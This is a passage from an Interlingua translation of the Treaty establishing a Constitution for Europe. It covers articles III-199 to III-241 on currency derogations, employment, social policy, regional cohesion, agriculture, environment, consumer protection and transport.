euro como moneta unic in iste Stato membro. Le Consilio, per unanimitate del membros representante le Statos membros cuje moneta es le euro e le Stato membro concernite, decide post consultation del Banca Central Europee.ARTICULO III-199\n1. Durante que il existe Statos membros faciente le objecto de un derogation, e sin prejudicio del articulo III-187(1), le Consilio General del Banca Central Europee mentionate in le articulo 45 del Statuto del Systema Europee de Bancas Central e del Banca Central Europee es constituite como tertie organo de decision del Banca Central Europee.\n2. Durante que il existe Statos membros faciente le objecto de un derogation, le Banca Central Europee, concernente iste Statos Membros:\na) reinfortia le cooperation inter le bancas central national;\nb) reinfortia le coordination del politicas monetari del Statos membros con le fin de garantir le stabilitate del precios;\nc) supervisa le functionamento del mechanismo de taxas de cambio;\nd) procede a consultationes re questiones que pertine al competentias del bancas central national e que affecta le stabilitate del establimentos e mercatos financiari;\ne) exerce le ancian functiones del Fundo Europee de Cooperation Monetari, functiones que anteriormente le Instituto Monetari Europee habeva assumite.ARTICULO III-200\nCata Stato membro faciente le objecto de un derogation considera su politica de cambio como un problema de interesse commun. In iste connexion illo tene conto del experientias acquirite gratias al cooperation in le quadro del mechanismo de taxas de cambio.ARTICULO III-201\n1. Si un Stato membro faciente le objecto de un derogation ha difficultates o curre le risco de haber difficultates in le balancia de pagamentos, originate per un disequilibrio global de iste balancia o per le typo del devisas del qual illo dispone e que pote compromitter in particular le functionamento del mercato interior o le realisation del politica commercial commun, le Commission procede sin demora a un examine del situation de iste Stato, assi como del action que iste Stato ha interprendite o pote interprender in conformitate con le Constitution, faciente uso de tote le medios disponibile. Le Commission indica le mesuras cuje adoption illo recommenda al Stato membro interessate.\nSi le action interprendite per un Stato membro faciente le objecto de un derogation e le mesuras suggerite per le Commission se monstra insufficiente pro superar le difficultates o menacias de difficultates, le Commission recommenda al Consilio, post consultation del Committee Economic e Financiari, le assistentia mutual e le methodos appropriate.\nLe Commission informa regularmente le Consilio re le situation e su evolution.\n2. Le Consilio adopta regulamentos o decisiones europee que accorda le assistentia mutual e fixa le conditiones e modalitates de iste assistentia mutual. Le assistentia mutual pote prender in particular le forma de:\na) un action concertate presso altere organisationes international al quales pote recurrer le Statos membros faciente le objecto de un derogation;\nb) mesuras necessari pro evitar deviationes del traffico commercial, quando le Stato membro faciente le objecto de un derogation, que es in difficultates, mantene o restabli restrictiones quantitative concernente tertie paises;\nc) concession de creditos limitate del parte de altere Statos membros, si istes da lor consentimento.\n3. Si le Consilio non approba le assistentia mutual recommendate per le Commission o si le assistentia mutual approbate e le mesuras adoptate es insufficiente, le Commission autorisa le Stato membro faciente le objecto de un derogation, que es in difficultate, a prender mesuras de salveguarda al conditiones e modalitates que le Commission determina.\nLe Consilio pote revocar iste autorisation e modificar iste conditiones e modalitates.ARTICULO III-202\n1. In caso de crise subite in le balancia de pagamentos, e si on non adopta immediatemente un decision europee, mentionate in le articulo III-201(2), un Stato membro faciente le objecto de un derogation pote, como precaution, prender le mesuras necessari de salveguarda. Iste mesuras debe causar le minimo de perturbationes in le functionamento del mercato interior e non exceder le portata strictemente indispensabile pro superar le difficultates subite que se ha manifestate.\n2. Le Commission e le altere Statos debe esser informate re le mesuras de salveguarda mentionate in le paragrapho 1, al plus tarde in le momento de lor entrata in vigor. Le Commission pote recommendar al Consilio le assistentia mutual in conformitate con le articulo III-201.\n3. Per recommendation del Commission e post consultation del Committee Economic e Financiari, le Consilio pote adoptar un decision europee establiente que le Stato membro interessate debe modificar, suspender o supprimer le mesuras de salveguarda mentionate in le paragrapho 1.\nCAPITULO III\nPOLITICAS IN ALTERE DOMINIOS\nSECTION 1\nEMPLEO\nARTICULO III-203\nLe Union e le Statos membros se effortia, in conformitate con le presente section, a disveloppar un strategia coordinate pro le empleo, e in particular a promover un mano de obra qualificate, formate e adaptate, assi como mercatos de labor capace de reager rapidemente al evolution del economia, in vista de attinger le objectivos mentionate in le articulo I-3,ARTICULO III-204\n1. Le Statos membros contribue, per lor politicas de empleo, al realisation del objectivos mentionate in le articulo III-203, de un maniera compatibile con le grande orientationes del politicas economic del Statos membros e del Union, adoptate in application del articulo III-179(2).\n2. Tenente conto del practicas national relative al responsabilitates del partners social, le Statos membros considera le promotion del empleo como un question de interesse commun e coordina lor action relative a isto in le sino del Consilio, conformemente con le articulo III-206.ARTICULO III-205\n1. Le Union contribue al realisation de un nivello elevate de empleo per incoragiar le cooperation inter le Statos membros e per appoiar e, si necessari, completar lor action. Faciente isto, illo respecta plenmente le competentias del Statos membros.\n2. Le objectivo consistente de attinger un nivello de empleo elevate debe esser tenite in conto in le definition e le execution del politicas e actiones del Union.ARTICULO III-206\n1. Le Consilio Europee examina cata anno le situation del empleo in le Union e adopta conclusiones relative a illos, super le base de un reporto annual elaborate conjunctemente per le Consilio e le Commission.\n2. Super le base del conclusiones del Consilio Europee, le Consilio adopta cata anno, per proposition del Commission, orientationes del quales le Statos membros tene conto in lor respective politicas del empleo. Le Consilio decide post consultation del Parlamento Europee, del Committee del Regiones, del Committee Economic e Social e del Committee del Empleo.\nIste orientationes es compatibile con le grande orientationes adoptate in application del articulo III-179(2).\n3. Cata Stato membro transmitte al Consilio e al Commission un reporto annual re le principal mesuras que illo ha prendite pro applicar su politica del empleo, al luce del orientationes pro le empleo mentionate in le paragrapho 2.\n4. Le Consilio, basante se super le reportos mentionate in le paragrapho 3 e post haber obtenite le aviso del Committee del Empleo, examina cata anno le application del politicas del empleo del Statos membros, al luce del orientationes pro le empleo. Le Consilio, per recommendation del Commission, pote adoptar recommendationes dirigite al Statos membros.\n5. Super le base del resultatos de iste examine, le Consilio e le Commission dirige un reporto annual commun al Consilio Europee concernente le situation del empleo in le Union e del application del orientationes pro le empleo.ARTICULO III-207\nLe lege o lege-quadro europee pote establir mesuras de incoragiamento destinate a favorar le cooperation inter le Statos membros e a appoiar lor action in le dominio del empleo, per le initiativas visante a disveloppar le intercambio de informationes e de melior practicas per fornir analyses comparative e consilios, assi como per promover approches renovatori e evalutar experientias, in particular per projectos pilotas. Le lege o lege-quadro es adoptate post consultation del Committee del Regiones e del Committee Economic e Social.\nLe lege o lege-quadro europee non include alcun harmonisation del dispositiones legislative e regulamentari del Statos membros.ARTICULO III-208\nLe Consilio adopta, per majoritate simple, un decision europee instituente un Committee del Empleo de character consultative pro promover le coordination, inter le Statos membros, del politicas in materia del empleo e del mercato de labor. Le Committee decide post consultation del Parlamento Europee.\nLe Committee ha le sequente functiones:\na) sequer le evolution del situation del empleo e del politicas del empleo del Union e in le Statos membros;\nb) sin prejudicio del articulo III-344, formular avisos per petition del Consilio o del Commission o per proprie initiativa e contribuer al preparation del deliberationes del Consilio mentionate in le articulo III-206.\nPro le complimento de su mandato, le Committee consulta le partners social.\nCata Stato membro e le Commission nomina duo membros del Committee.\nSECTION 2\nPOLITICA SOCIAL\nARTICULO III-209\nLe Union e le Statos membros, consciente del derectos social fundamental, como le derectos mentionate in le Charta Social Europee, signate in Torino le 18 de octobre 1961, e in le Charta communitari del derectos social fundamental del laboratores de 1989, ha como objectivos le promotion del empleo, le melioration del conditiones de vita e de labor pro facer possibile lor equalisation in le progresso, un protection social adequate, le dialogo social, le disveloppamento del ressources human pro consequer un nivello de empleo elevate e durabile, e le lucta contra le exclusiones.\nCon iste fin le Union e le Statos membros age tenente conto del diversitate del practicas national, in particular in le dominio del relationes contractual, assi como del necessitate de mantener le competitivitate del economia del Union.\nLe Union e le Statos membros considera que un tal evolution es le consequentia tanto del functionamento del mercato interior, que favora le harmonisation del systemas social, como del proceduras establite in le Constitution e del approximation del dispositiones legislative, regulamentari e administrative del Statos membros.ARTICULO III-210\n1. Pro obtener le objectivos mentionate in le articulo III-209, le Union appoia e completa le action del Statos membros in le sequente dominios:\na) le melioration, in particular, del ambiente de labor pro proteger le sanitate e le securitate del laboratores;\nb) le conditiones de labor;\nc) le securitate social e le protection social del laboratores;\nd) le protection del laboratores in caso de rescission del contracto de labor;\ne) le information e le consultation del laboratores;\nf) le representation e le defensa collective del interesses del laboratores e del empleatores, includite le cogestion, sub reserva del paragrapho 6;\ng) le conditiones de empleo del citatanos de tertie paises qui reside legalmente in le territorio del Union;\nh) le integration del personas excludite del mercato de labor, sin prejudicio del articulo III-283;\ni) le equalitate inter feminas e viros concernente lor chances in le mercato del labor e le tractamento in le labor;\nj) le lucta contra le exclusion social;\nk) le modernisation del systemas de protection social, sin prejudicio del littera c).\n2. Pro le fines del paragrapho 1:\na) le lege o le lege-quadro europee pote establir mesuras destinate a incoragiar le cooperation inter le Statos membros per initiativas pro meliorar le cognoscentias, pro disveloppar le intercambio de informationes e melior practicas, pro promover approches innovatori e pro evalutar experientias, con le exclusion de tote harmonisation del dispositiones legislative e regulamentari del Statos membros;\nb) in le dominios mentionate in le paragrapho 1(a e i), le lege-quadro europee pote establir prescriptiones minimal applicabile progressivemente, tenente conto del conditiones e del regulamentationes technic existente in cata un del Statos membros. Illo evita imponer constrictiones de character administrative, financiari e juridic que obstrue le creation e le disveloppamento de parve e medie interprisas.\nIn tote le casos, le lege o lege-quadro europee es adoptate post consultation del Committee del Regiones e del Committee Economic e Social.\n3. Nonobstante lo que es disponite in le paragrapho 2, in le dominios mentionate in le paragrapho 1(c, d, f e g), le Consilio adopta le lege o lege-quadro europee per unanimitate post consultation del Parlamento Europee, del Committee del Regiones e del Committee Economic e Social.\nLe Consilio pote, per proposition del Commission, adoptar un decision europee pro render le procedura legislative ordinari applicabile al paragrapho 1(d, f e g). Le Consilio decide per unanimitate post consultation del Parlamento Europee.\n4. Un Stato membro pote confider al partners social, per lor petition conjuncte, le application del leges-quadros europee adoptate in application del paragraphos 2 e 3 o, in su caso, le application del regulamentos o decisiones europee adoptate in conformitate con le articulo III-212.\nIn iste caso, le Consilio se assecura que, le plus tarde al data al qual un lege-quadro europee debe esser transponite, e al data al qual un regulamento europee o un decision europee debe esser applicate, le partners social ha establite, per un accordo, le dispositiones necessari; le Stato membro concernite debe prender tote le dispositiones necessari pro poter garantir, in tote momento, le resultatos imponite per iste lege-quadro, regulamento o decision.\n5. Le leges e leges-quadros europee adoptate in virtute del presente articulo:\na) non affecta le facultate recognoscite al Statos membros pro definir le principios fundamental de lor systema de securitate social, e non debe affectar de maniera significative le equilibrio financiari del systema de securitate social;\nb) non pote impedir un Stato membro de mantener o prender mesuras plus stricte de protection compatibile con le Constitution.\n6. Le presente articulo non se applica ni al remunerationes, ni al derecto de association, ni al derecto de exopero, ni al derecto de lock-out.ARTICULO III-211\n1. Le Commission promove le consultation del partners social al nivello del Union e adopta qualcunque mesura opportun pro facilitar lor dialogo veliante un appoio equilibrate del partes.\n2. Pro le fin del paragrapho 1, le Commission, ante de presentar propositiones in le dominio del politica social, consulta le partners social re le possibile orientation de un action del Union.\n3. Si le Commission, post le consultation mentionate in le paragrapho 2, considera conveniente un action del Union, illo consulta le partners social re le contento del proposition considerate.\n4. Al occasion del consultationes mentionate in le paragraphos 2 e 3, le partners social pote communicar al Commission lor voluntate de initiar le processo mentionate in le articulo III-212(1). Le duration de iste processo non pote exceder le duration de novem menses, salvo si le partners social concernite decide prolongar lo in accordo commun con le Commission.ARTICULO III-212\n1. Le dialogo inter partners social, al nivello del Union, pote, si le partners lo desira, conducer al establimento de relationes contractual, includite accordos.\n2. Le application del accordos concludite, al nivello del Union, se realisa, sia secundo le proceduras e practicas proprie al partners social e al Statos membros, sia in le dominios del articulo III-210, per petition conjuncte del partes signatarios, per regulamentos o decisiones europee adoptate per le Consilio per proposition del Commission. Le Parlamento Europee es informate.\nQuando le accordo in question contine un o plure dispositiones relative a un del dominios pro le quales le unanimitate es requirite in virtute del articulo III-210(3), le Consilio decide per unanimitate.ARTICULO III-213\nPro realisar le objectivos mentionate in le articulo III-209, e sin prejudicio del altere dispositiones del Constitution, le Commission incoragia le cooperation inter le Statos membros e facilita le coordination de lor actiones in tote le dominios del politica social tractate in le presente Section, particularmente in le materias relative a:\na) le empleo;\nb) le derecto del labor e le conditiones de labor;\nc) le formation e le perfectionamento professional;\nd) le securitate social;\ne) le protection contra le accidentes de labor e le maladia professional;\nf) le hygiene del labor;\ng) le derecto syndical e le negotiationes collective inter empleatores e laboratores.\nCon iste fin le Commission age in stricte contacto con le Statos membros, per studios, per avisos e per le organisation de consultationes, tanto re le problemas que se pone al nivello national como re illos que interessa le organisationes international, in particular per initiativas in vista de establir orientationes e indicatores, de organisar le intercambio del melior practicas e de preparar le elementos necessari pro le controlo e le evalutation periodic. Le Parlamento Europee es plenmente informate.\nAnte de emitter le avisos mentionate in le presente articulo, le Commission consulta le Committee Economic e Social.ARTICULO III-214\n1. Cata Stato membro garanti le application del principio de equalitate del remunerationes inter laboratores feminin e masculin pro le mesme labor o pro un labor de mesme valor.\n2. Pro le fines del presente articulo on intende per \"remuneration le salario normal de base o minime, e qualcunque altere gratificationes pagate directe- o indirectemente, in moneta o in natura, per le empleator al laborator in ration del empleo. Le equalitate de remuneration, sin discrimination fundate super le sexo, significa:\na) que le remuneration accordate pro un mesme labor remunerate per unitate de obra se fixa super le base de un mesme unitate de mesura;\nb) que le remuneration accordate pro un labor remunerate per unitate de tempore es equal pro un mesme posto de labor.\n3. Le lege o lege-quadro europee establi le mesuras pro garantir le application del principio del equalitate de opportunitates e del equalitate de tractamento inter feminas e viros relative a empleo e a labor, includite le principio del equalitate del remunerationes pro un mesme labor o un labor de mesme valor. Le lege o lege-quadro es adoptate post consultation del Committee Economic e Social.\n4. Pro garantir in le practica le plen equalitate inter feminas e viros in le vita professional, le principio del equalitate de tractamento non impedi a un Stato membro de mantener o adoptar mesuras que offere avantages specific destinate a facilitar al sexo minus representate le exercitio de un activitate professional o a prevenir o a compensar disavantages in lor carriera professional.ARTICULO III-215\nLe Statos membros se effortia a mantener le equivalentia existente inter le regimes de vacantias pagate.ARTICULO III-216\nLe Commission elabora un reporto annual re le evolution del realisation del objectivos mentionate in le articulo III-209, includite le situation demographic in le Union. Le Commission transmitte iste reporto al Parlamento Europee, al Consilio e al Committee Economic e Social.ARTICULO III-217\nLe Consilio adopta per majoritate simple un decision europee instituente un Committee del Protection Social, de character consultative, pro promover le cooperation relative al protection social inter le Statos membros e con le Commission. Le Consilio decide post consultation del Parlamento Europee.\nLe Committee ha le sequente functiones:\na) sequer le situation social e le evolution del politicas de protection social in le Statos membros e in le Union;\nb) facilitar le intercambios de informationes, de experientias e de bon practicas inter le Statos membros e con le Commission;\nc) sin prejudicio del articulo III-344, elaborar reportos, emitter avisos o interprender altere activitates in le dominios relative a su attributiones, sia per petition del Consilio o del Commission, sia per proprie initiativa.\nPro le complimento de su mandato, le Committee establi contactos adequate con le partners social. Cata Stato membro e le Commission nomina duo membros del Committee.ARTICULO III-218\nLe Commission dedica, in su reporto annual al Parlamento Europee, un capitulo special al evolution del situation social in le Union. Le Parlamento Europee pote invitar le Commission a elaborar reportos re problemas particular relative al situation social.ARTICULO III-219\n1. Pro meliorar le possibilitates de empleo del laboratores in le mercato interior e pro contribuer assi al elevation del nivello de vita, es instituite un Fundo Social Europee destinate a promover intra le Union le facilitates de empleo e le mobilitate geographic e professional del laboratores, assi como a facilitar lor adaptation al transformationes industrial e al evolution del systemas de production, in particular per le formation e le reconversion professional.\n2. Le Commission administra le Fundo. In iste carga illo es assistite per un Committee, presidite per un membro del Commission e componite de representantes del Statos membros e del organisationes syndical de laboratores e de empleatores.\n3. Le lege europee establi le mesuras de application relative al Fundo. Iste mesuras es adoptate post consultation del Committee del Regiones e del Committee Economic e Social.\nSECTION 3\nCOHESION ECONOMIC, SOCIAL E TERRITORIAL\nARTICULO III-220\nA fin de promover un disveloppamento harmoniose del insimul del Union, illo disveloppa e proseque su action tendente a reinfortiar su cohesion economic, social e territorial.\nIn particular le Union tenta reducer le differentias inter le nivellos de disveloppamento del varie regiones e le retardo del regiones minus favorate.\nInter le regiones concernite se presta un attention special al zonas rural, al zonas affectate per un transition industrial e al regiones que suffre del disavantages natural o demographic grave e permanente como, per exemplo, regiones le plus septentrional con pauc densitate de population e le regiones insular, de montania, e situate trans le frontieras.ARTICULO III-221\nLe Statos membros conduce lor politica economic e lo coordina in vista equalmente de attinger le objectivos mentionate in le articulo III-220. Le formulation e execution del politicas e actiones del Union e le realisation del mercato interior considera iste objectivos e participa a lor realisation. Le Union appoia anque iste realisation per le action que illo exerce per le fundos con scopo structural (Fundo Europee de Orientation e de Garantia Agricole, section \"Orientation\"; Fundo Social Europee, Fundo Europee de Disveloppamento Regional), le Banca Europee de Investimentos e altere instrumentos financiari existente.\nTote le tres annos le Commission presenta al Parlamento Europee, al Consilio, al Committee del Regiones e al Committee Economic e Social un reporto re le progressos complite in le realisation del cohesion economic, social e territorial, e re como le diverse medios mentionate in le presente articulo ha contribuite a illo. In su caso iste reporto es accompaniate del propositiones adequate.\nLe lege o lege-quadro europee pote establir mesuras specific foras del fundos, sin prejudicio del mesura adoptate in le quadro del altere politicas del Union. Le lege o lege-quadro es adoptate post consultation del Committee del Regiones e del Committee Economic e Social.ARTICULO III-222\nLe Fundo Europee de Disveloppamento Regional es destinate a contribuer al correction del principal disequilibrios regional intra le Union per un participation in le disveloppamento e in le adjustamento structural del regiones minus disveloppate e in le reconversion del regiones industrial in declino.ARTICULO III-223\n1. Sin prejudicio del articulo III-224, le lege europee determina le functiones, le objectivos prioritari e le organisation del fundos con scopo structural, lo que pote comportar le regruppamento del fundos, le regulas general applicabile al fundos, assi como le dispositiones necessari pro garantir lor efficacia e le coordination del fundos inter se e con le altere instrumentos financiari existente.\nUn Fundo de Cohesion, create per le lege europee, contribue financiarimente al realisation de projectos in le dominio del ambiente e del retes transeuropee in materia de infrastructuras del transporto.\nIn tote le casos le lege europee es adoptate post consultation del Committee del Regiones e del Committee Economic e Social.\n2. Le prime dispositiones relative al fundos con scopo structural e al Fundo de Cohesion adoptate post le dispositiones in vigor al data del signatura del Tractato establiente un Constitution pro Europa, es establite per un lege europee del Consilio. Illo decide per unanimitate post approbation del Parlamento Europee.ARTICULO III-224\nLe lege europee establi le mesuras de application relative al Fundo Europee de Disveloppamento Regional. Iste lege es adoptate post consultation del Committee del Regiones e del Committee Economic e Social. Concernente le Fundo Europee de Orientation e de Garantia Agricole, section \"orientation\", e le Fundo Social Europee, es applicabile respectivemente le articulo III-231 e le articulo III-219(3).\nSECTION 4\nAGRICULTURA E PISCA\nARTICULO III-225\nLe Union defini e applica un politica commun de agricultura e pisca.\nPer \"productos agricole se intende le productos del solo, del elevamento de bestial e del pisca e le productos de prime transformation directemente relationate con iste productos. Le referentias al politica agricole commun o al agricultura, e le utilisation del termino \"agricole\", se intende como visante anque al pisca, tenente conto del characteristicas specific de iste sector.ARTICULO III-226\n1. Le mercato interior se extende al agricultura e al commercio del productos agricole.\n2. Salvo dispositiones contrari del articulos III-227 a III-232, le regulas mentionate pro le establimento e le functionamento del mercato interior es applicabile al productos agricole.\n3. Le productos enumerate in le annexo I es subjecte al articulos III-227 a III-232.\n4. Le functionamento e disveloppamento del mercato interior pro le productos agricole debe esser accompaniate per un politica agricole commun.ARTICULO III-227\n1. Le objectivos del politica agricole commun es:\na) incrementar le productivitate agricole per promover le progresso technic e per assecurar le disveloppamento rational del production agricole e le empleo optime del factores de production, in particular del mano de obra;\nb) assecurar assi un nivello de vita equitabile pro le population agricole, in particular per le augmentation del salarios individual del personas qui labora in le agricultura;\nc) stabilisar le mercatos;\nd) garantir le securitate del approvisionamentos,\ne) assecurar precios rationabile pro le consumitores.\n2. In le elaboration del politica agricole commun e del methodos special que illo pote implicar, on debe tener conto de:\na) le character particular del activitate agricole que se deriva del structura social del agricultura e del disparitates structural e natural inter le diverse regiones agricole;\nb) le necessitate de effectuar gradualmente le adaptationes opportun;\nc) le facto que in le Statos membros le agricultura constitue un sector strictemente ligate al insimul del economia,ARTICULO III-228\n1. Pro attinger le objectivos mentionate in le articulo III-227, un organisation commun del mercatos agricole es establite.\nSecundo le productos, iste organisation adopta un del sequente formas:\na) regulas commun re le concurrentia;\nb) un coordination obligatori del diverse organisationes national del mercato;\nc) un organisation europee del mercato.\n2. Le organisation commun establite sub un del formas mentionate in le paragrapho 1 pote includer tote le mesuras necessari pro attinger le objectivos mentionate in le articulo III-227, in particular le regulation del precios, del subventiones al production e al commercialisation del diverse productos, del systemas de stockage e del mechanismos commun pro le stabilisation del importationes o exportationes.\nLe organisation commun debe limitar se a prosequer le objectivos mentionate in le articulo III-227 e debe excluder tote discrimination inter productores e consumitores in le Union.\nUn politica commun eventual del precios debe esser fundate super criterios commun e super methodos de calculo uniforme.\n3. A fin de permitter al organisation commun mentionate in le paragrapho 1 pro attinger su objectivos, un o plure fundos agricole de orientation e de garantia pote esser create.ARTICULO III-229\nPro permitter de attinger le objectivos mentionate in le articulo III-227, il pote establir se in le quadro del politica commun agricole:\na) un coordination efficace de effortios facite in le sectores del formation professional, del recerca e del vulgarisation del cognoscentias agronomic, lo que pote includer projectos o institutiones financiate in commun;\nb) actiones commun pro le disveloppamento del consumption de certe productos.ARTICULO III-230\n1. Le section relative al regulas de concurrentia es applicabile al production e al commercio del productos agricole solmente in le mesura determinate per le lege o le lege-quadro europee, conformemente con le articulo III-231(2), tenite conto del objectivos mentionate in le articulo III-227.\n2. Le Consilio, per proposition del Commission, pote adoptar un regulamento europee o un decision europee autorisante le concession de adjutas:\na) pro le protection de interprisas disfavorate per conditiones structural o natural;\nb) in le quadro de programmas de disveloppamento economic.ARTICULO III-231\n1. Le Commission presenta propositiones relative al elaboration e execution del politica commun agricole, includite le substitution al organisationes national per alicunes del formas de organisation commun mentionate in le articulo III-228(1), assi como le execution del mesuras mentionate in le presente section.\nIste propositiones tene conto del interdependentia del questiones agricole mentionate in le presente section.\n2. Le lege europee o le lege-quadro europee establi le organisation commun del mercato agricole mentionate in le articulo III-228(1), assi como le altere dispositiones necessari pro prosequer le objectivos del politica commun del agricultura e del pisca. Illos es adoptate post consultation del Committee Economic e Social. Le Consilio, per proposition del Commission, adopta le regulationes o decisiones europee relative a fixation de precios, impostos, adjuta e limitationes quantitative e le fixation e allocation de possibilitate de pisca.\n3. Le Consilio, per proposition del Commission, adopta le regulamentos o decisiones europee relative al fixation del precios, del impostos, del adjutas e del limitationes quantitative, assi como al fixation e al possibilitates de pisca.\n4. Sub le conditiones mentionate in le paragrapho 2, le organisationes national de mercato pote esser substituite per le organisationes commun mentionate in le articulo III-228(1), si:\na) le organisation commun offere al Statos membros, que se oppone a iste mesura e que dispone de un organisation national pro le production in question, garantias equivalente pro le empleo e le nivello de vita del productores concernite, tenente conto del rhythmo del adaptationes possibile e del specialisationes necessari, e\nb) iste organisation assecura pro le intercambios intra le Union conditiones analoge a illos que existe in un mercato national.\n5. Si on ha create un organisation commun pro certe materias prime, sin que existe ancora un organisation commun pro le productos de transformation correspondente, le materias prime utilisate pro le productos de transformation destinate al exportation verso tertie paises pote esser importate del exterior del Union.ARTICULO III-232\nQuando, in un Stato membro, un producto es le objecto de un organisation national del mercato o de qualcunque regulamentation interne de effecto equivalente affectante le position concurrential de un production similar in un altere Stato membro, le Statos membros applica un taxa compensatori al entrata de iste producto proveniente del Stato membro que possede iste organisation o regulamentation, salvo si iste Stato jam applica un taxa compensatori quando le producto quita le pais.\nLe Commission adopta regulamentos o decisiones europee que fixa le amonta de iste taxas in le mesura necessari pro restablir le equilibrio. Illo pote autorisar equalmente le adoption de altere mesuras sub le conditiones e secundo le modalitates que illo determina.\nSECTION 5\nAMBIENTE\nARTICULO III-233\n1. Le politica del Union in le dominio del medio ambiente contribue a attinger le objectivos sequente:\na) le preservation, le protection e le melioration del qualitate del medio ambiente;\nb) le protection del sanitate del personas;\nc) le utilisation prudente e rational del ressources natural;\nd) le promotion, al nivello international, de mesuras destinate a facer fronte al problemas regional o mundial del medio ambiente.\n2. Le politica del Union in le dominio del medio ambiente ha como objectivo un nivello elevate de protection, tenente conto del diversitate del situationes existente in le differente regiones del Union. Illo es fundate super le principios de precaution e de action preventive, super le principio del correction del damnos al medio ambiente, preferentialmente al origine, e super le principio de qui contamina paga.\nIn iste contexto, le mesuras de harmonisation respondente al exigentias del protection del medio ambiente include, in le casos appropriate, un clausula de salveguarda autorisante le Statos membros a adoptar, pro motivos ambiental non-economic, dispositiones provisori submittite a un procedura de controlo per le Union.\n3. in le elaboration de su politica in le dominio del medio ambiente, le Union tene conto:\na) del datos scientific e technic disponibile;\nb) del conditiones ambiental in le diverse regiones del Union;\nc) del avantages e del cargas que pote resultar del action o del absentia de action;\nd) del disveloppamento economic e social del Union in su insimul e del disveloppamento equilibrate de su regiones.\n4. In le quadro de lor competentias respective, le Union e le Statos membros coopera con le tertie paises e le organisationes international competente. Le modalitates del cooperation del Union pote esser le objecto de accordos inter illo e le tertie partes concernite. Le prime paragrapho non prejudica le competentias del Statos membros pro negotiar in le foros international e pro concluder accordos international.ARTICULO III-234\n1. Le lege o lege-quadro europee establi le actiones a interprender pro realisar le objectivos mentionate in le articulo III-233. Illo es adoptate post consultation del Committee del Regiones e del Committee Economic e Social.\n2. Nonobstante lo que es disponite in le paragrapho 1, e sin prejudicio del articulo III-172, le Consilio adopta per unanimitate leges o leges-quadros europee establiente:\na) dispositiones essentialmente de natura fiscal;\nb) le mesuras affectante:\ni) le ordination del territorio; ii) le gestion quantitative del ressources hydric o toccante directe- o indirectemente le disponibilitate de iste ressources; iii) le utilisation del solos, con exception del gestion del residuos;\nc) le mesuras affectante sensibilemente le election per un Stato membro inter differente fontes de energia e le structura general de su approvisionamento energetic.\nLe Consilio, per proposition del Commission, pote adoptar per unanimitate un decision europee pro render le procedura legislative ordinari applicabile al dominios mentionate in le paragrapho 1. In tote le casos, le Consilio prende decision post consultation del Parlamento Europee, del Committee del Regiones e del Committee Economic e Social.\n3. Le lege europee establi programmas de action de character general que fixa le objectivos prioritari a attinger. Illo es adoptate post consultation del Committee del Regiones e del Committee Economic e Social. Le mesuras necessari pro le execution de iste programmas es adoptate conformemente con le conditiones mentionate in le paragrapho 1, secundo le casos.\n4. Sin prejudicio de certe mesuras adoptate per le Union, le Statos membros assecura le financiamento e le execution del politica relative al medio ambiente.\n5. Sin prejudicio del principio de qui contamina paga, quando un mesura fundate super le paragrapho 1 implica costos considerate disproportionate pro le autoritates public de un Stato membro, iste mesura previde sub un forma appropriate:\na) derogationes temporari, e\/o\nb) un appoio financiari del Fundos de cohesion.\n6. Le mesuras de protection adoptate in virtute del presente articulo non es un obstaculo al mantenimento e al establimento, per cata Stato membro, de mesuras de protection reinfortiate. Iste mesuras debe esser compatibile con le Constitution. Illos es notificate al Commission.\nSECTION 6\nPROTECTION DEL CONSUMITORES\nARTICULO III-235\n1. Pro promover le interesses del consumitores e garantir un nivello elevate de protection del consumitores, le Union contribue al protection del sanitate, del securitate e del interesses economic del consumitores, e anque al promotion de lor derecto al information, al education e a organisar se pro defender lor interesses.\n2. Le Union contribue al realisation del objectivos mentionate in le paragrapho 1 per:\na) mesuras adoptate in application del articulo III-172 in le quadro del establimento o del functionamento del mercato interior;\nb) mesuras que appoia e completa le politica del Statos membros, e assecura su continuation.\n3. Le lege o lege-quadro europee establi le mesuras mentionate in le paragrapho 2(b). Illo es adoptate post consultation del Committee Economic e Social.\n4. Le actos adoptate in application del paragrapho 3 non pote impedir un Stato membro de mantener o de establir dispositiones de protection plus stricte. Iste dispositiones debe esser compatibile con le Constitution. Illos es notificate al Commission\nSECTION 7\nTRANSPORTOS\nARTICULO III-236\n1. Le objectivos del Constitution es prosequite, in le materia regulate per le presente section, in le quadro de un politica commun del transportos.\n2. Illo es adoptate post consultation del Committee del Regiones e del Committee Economic e Social. Le lege o lege-quadro europee establi:\na) regulas commun applicabile al transportos international executate ab e verso le territorio de un Stato membro, o transversante le territorio de un o plure Statos membros;\nb) le conditiones de admission de transportatores non-residente al transportos national in un Stato membro;\nc) le mesuras que permitte meliorar le securitate del transportos;\nd) qualcunque altere mesura utile.\n2. Quando se adopta le lege o lege-quadro europee mentionate in le paragrapho 2, se tene conto del casos in le quales su application esserea susceptibile de affectar gravemente le nivello de vita e le empleo in certe regiones, assi como le exploitation del material de transporto.ARTICULO III-237\nUsque al adoption del lege o lege-quadro europee mentionate in le articulo III-236(2), e salvo su adoption per unanimitate de un decision europee del Consilio accordante un exception, necun Stato membro pote facer que le differente dispositiones que ha regulate iste materia le 1 de januario 1958 o, pro le Statos adherite, al data de lor adhesion, produce effectos que, directe- o indirectemente, disfavora le transportatores del altere Statos comparate con le transportatores national.ARTICULO III-238\nEs compatibile con le Constitution le adjutas que responde al necessitates del coordination del transportos o que corresponde al reimbursamento de certe obligationes inherente al notion de servicio public.ARTICULO III-239\nCata mesura in le dominio del precios e conditiones de transporto, adoptate in le quadro del Constitution, debe tener conto del situation economic del transportatores.ARTICULO III-240\n1. In le traffico al interior del Union, es prohibite le discriminationes que consiste in le application per un transportator, pro le mesme mercantias e le mesme relationes de traffico, de precios e conditiones de transporto differente in ration del Stato membro de origine o de destination del productos transportate.\n2.Le paragrapho 1 non exclude que altere leges o leges-quadros europee pote esser adoptate in application del articulo III-236(2).\n3. Le Consilio, per proposition del Commission, adopta regulamentos o decisiones europee que garanti le application del paragrapho 1. Illo prende decision post consultation del Parlamento Europee e del Committee Economic e Social. Illo pote adoptar, in particular, le regulamentos e decisiones europee pro permitter al institutiones veliar le respecto del regula mentionate in le paragrapho 1 e assecurar le plen beneficio al usatores.\n4. Le Commission, per proprie initiativa o per un requesta de un Stato membro, examina le casos de discrimination mentionate in le paragrapho 1 e, post consultation de qualcunque Stato membro interessate, adopta, in le quadro del regulamentos e decisiones europee mentionate in le paragrapho 3, le decisiones necessari.ARTICULO III-241\n1. Le application imponite per un Stato membro, al transportos executate al interior del Union, de precios e conditiones comportante qualcunque elemento de adjuta o de protection in le interesse de un o plure interprisas o industrias particular, es prohibite, salvo si illo es autorisate per un 